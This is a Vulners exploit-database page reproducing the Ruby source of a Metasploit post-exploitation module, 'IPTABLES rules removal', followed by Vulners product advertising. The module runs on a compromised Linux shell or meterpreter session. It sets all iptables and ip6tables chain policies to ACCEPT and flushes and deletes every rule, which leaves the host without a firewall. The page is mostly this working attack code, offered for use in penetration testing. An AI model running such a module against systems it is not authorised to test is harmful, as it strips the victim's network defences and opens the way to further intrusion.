Lucene search
K

IPTABLES rules removal

🗓️ 12 Jul 2018 12:16:22Reported by Alberto Rafael Rodriguez Iglesias <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 36 Views

This module removes all IPTABLES and IP6TABLES rules from a connected shell sessio

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Linux::System

  def initialize
    super(
      'Name' => 'IPTABLES rules removal',
      'Description' => %q{
        This module will be applied on a session connected to a shell. It will remove all IPTABLES rules.
      },
      'Author' => 'Alberto Rafael Rodriguez Iglesias <albertocysec[at]gmail.com>',
      'License' => MSF_LICENSE,
      'Platform' => ['linux'],
      'SessionTypes' => ['shell', 'meterpreter']
    )
  end

  def run
    if command_exists?('iptables')
      print_good('Deleting IPTABLES rules...')
      cmd_exec('iptables -P INPUT ACCEPT')
      cmd_exec('iptables -P FORWARD ACCEPT')
      cmd_exec('iptables -P OUTPUT ACCEPT')
      cmd_exec('iptables -t nat -F')
      cmd_exec('iptables -t mangle -F')
      cmd_exec('iptables -F')
      cmd_exec('iptables -X')
      print_good('iptables rules successfully executed')
    else
      print_line('iptables rules could not be executed')
    end
    if command_exists?('ip6tables')
      print_good('Deleting IP6TABLES rules...')
      cmd_exec('ip6tables -P INPUT ACCEPT')
      cmd_exec('ip6tables -P FORWARD ACCEPT')
      cmd_exec('ip6tables -P OUTPUT ACCEPT')
      cmd_exec('ip6tables -t nat -F')
      cmd_exec('ip6tables -t mangle -F')
      cmd_exec('ip6tables -F')
      cmd_exec('ip6tables -X')
      print_good('ip6tables rules successfully executed')
    else
      print_line('ip6tables rules could not be executed')
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Feb 2023 13:47Current
0.1Low risk
Vulners AI Score0.1
36